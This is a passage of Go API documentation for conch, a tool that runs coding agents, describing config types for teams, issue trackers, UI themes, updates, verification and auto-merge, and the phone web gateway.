	BG   string `json:"bg,omitempty"`
	Bold bool   `json:"bold,omitempty"`
}

Span is text in one style. Colours are #rrggbb, "" for the terminal's own.

type Team added in v0.2.1

type Team struct {
	Name string `toml:"name"`
	// Color is one of TeamColors, or "#rrggbb"; "" takes one by the
	// team's place in the list.
	Color string `toml:"color,omitempty"`
	// Projects are project names whose agents join the team.
	Projects []string `toml:"projects,omitempty"`
	// Branches are patterns, * matching anything, for the branch an agent
	// works on: "ui/*", "*-redesign".
	Branches []string `toml:"branches,omitempty"`
}

Team is a group of agents: a name and a colour, and rules that put an agent in it when nobody has — a project it works in, or a branch pattern. An agent can also be put in a team by hand (pane.team), which wins over every rule. Conch.app reads the same rules (ConchKit/Teams.swift), so both say the same team for an agent.

type TrackerProject added in v0.2.1

type TrackerProject struct {
	// Project is the conch project, by name or path.
	Project string `toml:"project"`
	// Tracker is linear or jira.
	Tracker string `toml:"tracker"`
	// Key is the Linear team's key or the Jira project's key (ENG, PROJ);
	// "" is the tracker's own default above.
	Key string `toml:"key,omitempty"`
}

TrackerProject ties a conch project to a tracker.

type TrackersCfg added in v0.2.1

type TrackersCfg struct {
	Linear LinearCfg `toml:"linear"`
	Jira   JiraCfg   `toml:"jira"`
	// Projects say which tracker, and which team or project in it, a
	// conch project's tickets come from. Last, as an array of tables.
	Projects []TrackerProject `toml:"projects,omitempty"`
}

TrackersCfg is where a task's ticket can come from besides a GitHub issue: Linear and Jira Cloud, each with a personal key. A key is never required here — APIKeyEnv names the variable holding it, and on a Mac the Keychain (service conch-mcp, the variable's name as the account) is read when the environment lacks it.

func (TrackersCfg) ForProject added in v0.2.1

func (t TrackersCfg) ForProject(name, root string) (TrackerProject, bool)

ForProject is the setting for the project named name at root, the first that names it.

type UICfg

type UICfg struct {
	// Mouse lets conch handle clicks, the wheel and drags. Hold shift (option
	// in iTerm2) to select text with the terminal instead; false leaves the
	// mouse to the terminal entirely.
	Mouse bool `toml:"mouse"`
	// Theme is the colour scheme: conch, dracula, catppuccin, nord, gruvbox,
	// tokyo-night, one-dark, solarized, rose-pine, kanagawa, everforest,
	// monokai, github-dark, ayu, night-owl, firefly, cel, or a light one:
	// github-light, solarized-light, catppuccin-latte, ink or meadow.
	Theme string `toml:"theme"`
	// LightTheme, when set, is the theme Conch.app takes while macOS is in
	// light appearance, Theme being the one for dark: the app follows the
	// system as it switches. The TUI keeps to Theme, since a terminal's
	// appearance is not macOS's to say. Empty leaves the app on Theme.
	LightTheme string `toml:"light_theme,omitempty"`
	// Accent overrides the theme's accent (selections, focused borders,
	// dialogs): teal, blue, green, orange, pink, red, gray, purple, or a
	// "#rrggbb" value. Empty uses the theme's.
	Accent string `toml:"accent"`
	// Cost shows what agents have spent — a cost where the agent reports
	// one, else the tokens it used — on tree rows, in the Sessions list and
	// on the project and machine pages. On unless turned off.
	Cost bool `toml:"cost"`
	// Hover lights the row, tab or button under the pointer. It asks the
	// terminal to report every pointer move rather than only drags, which
	// is a message per cell crossed — cheap on this computer, less so on a
	// slow ssh link — so it is off until asked for.
	Hover bool `toml:"hover,omitempty"`
	// Diff is how a file's changes are read: "side" for two columns,
	// "unified" for one, and "auto" (the default, and what an empty
	// value means) for two where the terminal is wide enough and one
	// where it is not. `s` in the changes view overrides it for the file
	// being read, without writing anything down.
	Diff string `toml:"diff,omitempty"`
	// Icons is how the file explorer marks each kind of file: "text" (the
	// default, a coloured two-letter tag that works in any font), "nerd"
	// (Nerd Font glyphs) or "off". Empty means text.
	Icons string `toml:"icons,omitempty"`
	// TreeGroups is how a project's panes are grouped in the tree:
	// "sections" (the default: Agents and Terminals) or "tabs", a section
	// per tab of the bar holding the panes open in it. Panes open in no tab
	// keep their sections either way, so nothing is hidden by being closed.
	TreeGroups string `toml:"tree_groups,omitempty"`
}

UICfg holds TUI preferences.

type UpdateCfg

type UpdateCfg struct {
	// CheckReleases asks GitHub once a day whether a newer release exists
	// (release builds only; development builds update from source).
	CheckReleases bool `toml:"check_releases"`
	// Auto installs a newer release as soon as that check finds one —
	// staying in step with upstream without pressing u — and reloads the
	// local server onto it, keeping panes. Off by default. It needs
	// CheckReleases. `conch update rollback` goes back.
	Auto bool `toml:"auto"`
}

UpdateCfg controls how conch looks for newer builds.

type VerifyCfg added in v0.1.3

type VerifyCfg struct {
	// Commands maps a project ID to its command, e.g. "go test ./...".
	Commands map[string]string `toml:"commands,omitempty"`
	// AutoFix is how many times in a row a failed check is sent back to
	// the branch's agent on its own, with the output, to fix. 0 (the
	// default) never does: f in the review queue sends it when you choose.
	AutoFix int `toml:"auto_fix,omitempty"`
	// AutoMerge merges a branch's pull request on GitHub when its checks
	// turn green: the other half of AutoFix, which hands a red one back
	// to the agent. Off by default, because it writes to the base branch
	// — and held back for a draft, a conflict, one somebody asked for
	// changes on, and while conch's own check disagrees with CI, until
	// whatever held it is gone.
	AutoMerge bool `toml:"auto_merge,omitempty"`
	// AutoPR pushes a branch when its agent finishes and its check passes
	// (where the project has one), and opens a pull request for it — or
	// pushes to the one already open, which is how an agent's fix for red
	// CI reaches CI. Off by default: it publishes the agent's work.
	AutoPR bool `toml:"auto_pr,omitempty"`
	// AutoResolve is how many times in a row a pull request that conflicts
	// with its base is rebased onto it and, when that stops on a conflict,
	// handed to the branch's agent to resolve. 0 (the default) leaves
	// conflicts to you.
	AutoResolve int `toml:"auto_resolve,omitempty"`
	// RequireTests opens a pull request (auto_pr) whose branch changes code
	// and no test as a draft, which auto_merge leaves alone, and asks the
	// agent for a test; MaxDiff does the same past that many changed lines
	// (0: no limit). A later push that meets them marks it ready.
	RequireTests bool `toml:"require_tests,omitempty"`
	MaxDiff      int  `toml:"max_diff,omitempty"`
	// Reviewer is the agent asked to review a branch when its agent
	// finishes — after the check passes, where there is one — reading the
	// diff and reporting rather than editing: "codex" to have Codex read
	// Claude's work, say. Empty (the default) asks nobody, since every
	// review spends plan usage.
	Reviewer string `toml:"reviewer,omitempty"`
	// Intake maps a project ID to a GitHub label: the server takes each
	// open issue with it as a queued task by itself, once, so the backlog
	// is worked through with nobody handing it in. IntakeWIP is how many
	// agents may be busy in the project before the next waits (0: the
	// queue's default). No label, no intake: off unless named.
	Intake    map[string]string `toml:"intake,omitempty"`
	IntakeWIP int               `toml:"intake_wip,omitempty"`
	// Triage maps a project ID to the label that asks for an issue to be
	// triaged: an agent reads it and the code, changing nothing, comments
	// what done means, its size and the files it touches, and labels it
	// ready (the intake label), needs-info or too-big. TriageAgent is who
	// reads (claude when empty); TriageCommentOnly leaves the labels alone.
	// Off unless named: every triage is an agent run.
	Triage            map[string]string `toml:"triage,omitempty"`
	TriageAgent       string            `toml:"triage_agent,omitempty"`
	TriageCommentOnly bool              `toml:"triage_comment_only,omitempty"`
}

VerifyCfg holds the command conch runs in a branch's worktree when its agent finishes, so the review queue can say whether the work stands up. Commands are per project and there is no default: nothing runs until you name one, since a project's own command can be slow or have side effects.

type WebCfg added in v0.1.6

type WebCfg struct {
	URL  string `toml:"url,omitempty"`
	Port int    `toml:"port,omitempty"`
	// Relay is a relay conch web connects out to, so a phone reaches it
	// from any network without Tailscale: wss://relay.example.com, one
	// `conch relay` serves. "" is none.
	Relay string `toml:"relay,omitempty"`
}

WebCfg is the phone gateway, conch web. URL is the address phones open — the https name `tailscale serve` gives — and Port where it listens; either flag given to conch web wins over them.

func (WebCfg) PortOrDefault added in v0.1.6

func (w WebCfg) PortOrDefault() int

PortOrDefault is the port set, or the default.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL